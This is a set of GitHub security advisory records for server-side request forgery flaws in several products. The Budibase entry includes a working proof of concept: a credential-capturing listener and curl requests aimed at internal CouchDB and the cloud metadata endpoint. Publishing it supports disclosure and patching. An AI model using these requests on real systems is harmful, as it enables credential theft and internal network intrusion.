CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2026-16074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T21:17:06Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was detected in AstrBotDevs AstrBot up to 4.25.2. This affects the function update_plugin/update_all_plugins of the file astrbot/dashboard/routes/plugin.py of the component Plugin Update Handler. The manipulation of the argument download_url/download_urls/proxy results in server-side request forgery. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-g69g-pch9-xj9r",
  "modified": "2026-07-17T21:31:46Z",
  "published": "2026-07-17T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16074"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/f84070f78d9c9c9407b0c396189cd716"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-16074"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/852842"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379789"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379789/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-87116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T20:17:38Z",
    "severity": "MODERATE"
  },
  "details": "Tanium addressed a server-side request forgery vulnerability in Threat Response.",
  "id": "GHSA-g6ff-7f49-6527",
  "modified": "2026-09-16T21:32:47Z",
  "published": "2026-09-16T21:32:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87116"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2026-050"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-12867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-20T20:15:22Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery in URL Mapper in Arctic Security\u0027s Arctic Hub versions 3.0.1764-5.6.1877 allows an unauthenticated remote attacker to exfiltrate and modify configurations and data.",
  "id": "GHSA-g6jr-8546-fhr8",
  "modified": "2024-12-20T21:30:46Z",
  "published": "2024-12-20T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12867"
    },
    {
      "type": "WEB",
      "url": "https://www.arcticsecurity.com/security/vulnerability-note-2024-12-20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-0584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-20T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The a+HRD from aEnrich Technology has a Server-side Request Forgery, allowing unauthenticated remote attackers to exploit this vulnerability to probe internal network.",
  "id": "GHSA-g6mr-wwv6-fj2q",
  "modified": "2025-01-20T03:30:51Z",
  "published": "2025-01-20T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0584"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-8371-1c17a-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-8370-58eb5-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:42:15Z",
    "nvd_published_at": "2026-02-19T23:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe Gateway tool accepted a tool-supplied `gatewayUrl` without sufficient restrictions, which could cause the OpenClaw host to attempt outbound WebSocket connections to user-specified targets.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.13`\n- Patched versions: `\u003e= 2026.2.14` (planned)\n\n## What Is Needed To Trigger This\nThis requires the ability to invoke tools that accept `gatewayUrl` overrides (directly or indirectly). In typical setups this is limited to authenticated operators, trusted automation, or environments where tool calls are exposed to non-operators.\n\nIn other words, this is not a drive-by issue for arbitrary internet users unless a deployment explicitly allows untrusted users to trigger these tool calls.\n\n## Details\nSome tool call paths allowed `gatewayUrl` overrides to flow into the Gateway WebSocket client without validation or allowlisting. This meant the host could be instructed to attempt connections to non-gateway endpoints (for example, localhost services, private network addresses, or cloud metadata IPs).\n\n## Impact\nIn the common case, this results in an outbound connection attempt from the OpenClaw host (and corresponding errors/timeouts). In environments where the tool caller can observe the results, this can also be used for limited network reachability probing. If the target speaks WebSocket and is reachable, further interaction may be possible.\n\n## Fix\nTool-supplied `gatewayUrl` overrides are now restricted to loopback (on the configured gateway port) or the configured `gateway.remote.url`. Disallowed protocols, credentials, query/hash, and non-root paths are rejected.\n\n## Fix Commit(s)\n- c5406e1d2434be2ef6eb4d26d8f1798d718713f4\n\n## Release Process Note\n`patched_versions` is set to the planned next release. Once the npm release is published, the advisory can be published without further edits.\n\nThanks @p80n-sec for reporting.",
  "id": "GHSA-g6q9-8fvw-f7rf",
  "modified": "2026-02-20T16:44:39Z",
  "published": "2026-02-17T21:42:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g6q9-8fvw-f7rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26322"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c5406e1d2434be2ef6eb4d26d8f1798d718713f4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw Gateway tool allowed unrestricted gatewayUrl override"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:08:28Z",
    "nvd_published_at": "2026-05-27T18:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.\n\nA user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.\n\n### Details\n\n**Vulnerable code \u2014 `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**\n\n```typescript\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!\n  // ...\n}\n```\n\n**Safe wrapper used everywhere else \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:**\n\n```typescript\nexport async function fetchWithBlacklist(url: string, opts?: RequestInit) {\n  await blacklist.isBlacklisted(url)  // Checks against internal IPs\n  const response = await fetch(url, { ...opts, redirect: \"manual\" })\n  // Re-checks every redirect target\n}\n```\n\n**Where `fetchWithBlacklist` IS used (consistency gap proof):**\n- `automations/steps/discord.ts` \u2014 Discord webhook\n- `automations/steps/slack.ts` \u2014 Slack webhook\n- `automations/steps/make.ts` \u2014 Make.com integration\n- `automations/steps/n8n.ts` \u2014 n8n integration\n- `automations/steps/zapier.ts` \u2014 Zapier integration\n- `automations/steps/outgoingWebhook.ts` \u2014 Custom webhooks\n- Plugin download (GitHub, NPM)\n- Object store tarball downloads\n\n**Where it is NOT used:**\n- `sdk/workspace/oauth2/utils.ts:59` \u2014 OAuth2 token fetch \u2190 **THIS VULNERABILITY**\n\n### PoC\n\n```bash\n# 1. Start SSRF listener\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\u0027Content-Length\u0027, 0))\n        body = self.rfile.read(length)\n        print(f\u0027SSRF: {self.path} | Body: {body.decode()}\u0027)\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(b\u0027{\\\"access_token\\\":\\\"x\\\",\\\"token_type\\\":\\\"bearer\\\"}\u0027)\nhttp.server.HTTPServer((\u00270.0.0.0\u0027, 9999), H).serve_forever()\n\" \u0026\n\n# 2. As builder, validate OAuth2 config pointing to internal service\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:9999/ssrf\",\"clientId\":\"test\",\"clientSecret\":\"test\"}\u0027\n\n# Result: Listener captures POST with Authorization: Basic header containing credentials\n# The client_id and client_secret are leaked to the attacker-controlled URL\n\n# 3. Access internal CouchDB\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:5984/_all_dbs\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n\n# Result: {\"valid\":false,\"message\":\"Unauthorized\"} \u2014 confirms CouchDB is reachable\n\n# 4. Access AWS metadata (in cloud deployments)\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n```\n\n### Additional SSRF Vector: REST Integration Redirect Bypass\n\nThe REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: \"follow\"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.\n\n**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: \"manual\"` and re-checks every redirect target.\n\n### Impact\n\n- **Internal service access** \u2014 CouchDB (default port 5984), Redis, internal APIs\n- **Cloud metadata exfiltration** \u2014 AWS/GCP/Azure IAM credentials via 169.254.169.254\n- **Credential leakage** \u2014 OAuth2 client_id and client_secret sent as Basic auth to attacker URL\n- **Network reconnaissance** \u2014 Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)\n\n### Remediation\n\nReplace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:\n\n```typescript\nimport { fetchWithBlacklist } from \"@budibase/backend-core/utils\"\n\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetchWithBlacklist(config.url, fetchConfig)\n  // ...\n}\n```\n\nAlso fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.",
  "id": "GHSA-g6qx-g4pr-92v7",
  "modified": "2026-06-12T15:08:28Z",
  "published": "2026-06-12T15:08:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48146"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via OAuth2 Config Validation \u2014 Missing fetchWithBlacklist Protection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-36451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-25T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the MiCollab Client server component of Mitel MiCollab through 9.5.0.101 could allow an authenticated attacker to conduct a Server-Side Request Forgery (SSRF) attack due to insufficient restriction of URL parameters. A successful exploit could allow an attacker to leverage connections and permissions available to the host server.",
  "id": "GHSA-g6v8-pg97-856j",
  "modified": "2022-10-29T12:00:50Z",
  "published": "2022-10-25T19:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36451"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-22-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@backstage/plugin-scaffolder-backend-module-sentry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:25:01Z",
    "nvd_published_at": "2026-10-06T21:17:16Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAn authenticated internal user who can execute the affected actions may cause the backend to contact unintended destinations and disclose Sentry integration credentials. Subsequent impact depends on network reachability and the privileges granted to the configured token.\n\n### Patches\n\nUpgrade `@backstage/plugin-scaffolder-backend-module-sentry` to version `0.3.8` or later. The fixed package is available in [Backstage v1.54.8](https://github.com/backstage/backstage/releases/tag/v1.54.8) and [Backstage v1.55.0](https://github.com/backstage/backstage/releases/tag/v1.55.0).\n\nThe update removes custom action-level `apiBaseUrl` values. Move any such value to `scaffolder.sentry.apiBaseUrl` before upgrading.\n\n### Workarounds\n\n- Disable the affected actions until the patched package is deployed.\n- Restrict `scaffolder.action.execute` permission for the affected Sentry actions to trusted users and templates.",
  "id": "GHSA-g734-fhp4-7mfp",
  "modified": "2026-10-07T20:25:01Z",
  "published": "2026-10-07T20:25:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/security/advisories/GHSA-g734-fhp4-7mfp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106459"
    },
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/commit/b0170fad7962fb8c3d71366b5265cf283c7bbcf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/backstage/backstage"
    },
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/releases/tag/v1.54.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/releases/tag/v1.55.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Backstage: Improper input validation in Sentry scaffolder actions"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-14008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T15:15:56Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in dayrui XunRuiCMS up to 4.7.1. This vulnerability affects unknown code of the file admin79f2ec220c7e.php?c=api\u0026m=test_site_domain of the component Project Domain Change Test. This manipulation of the argument v causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-g79m-r5m3-mgj5",
  "modified": "2025-12-04T15:30:33Z",
  "published": "2025-12-04T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/24-2021/vul/blob/main/xunruicms-test_site_domain-SSRF/xunruicms-test_site_domain-SSRF.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.334250"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.334250"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.692915"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-1812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T19:15:19Z",
    "severity": "HIGH"
  },
  "details": "The Everest Forms plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.7 via the \u0027font_url\u0027 parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-g7vh-v2c6-r3fm",
  "modified": "2024-04-09T21:31:58Z",
  "published": "2024-04-09T21:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1812"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3049743/everest-forms"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d4561441-d147-4c02-a837-c1656e17627d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}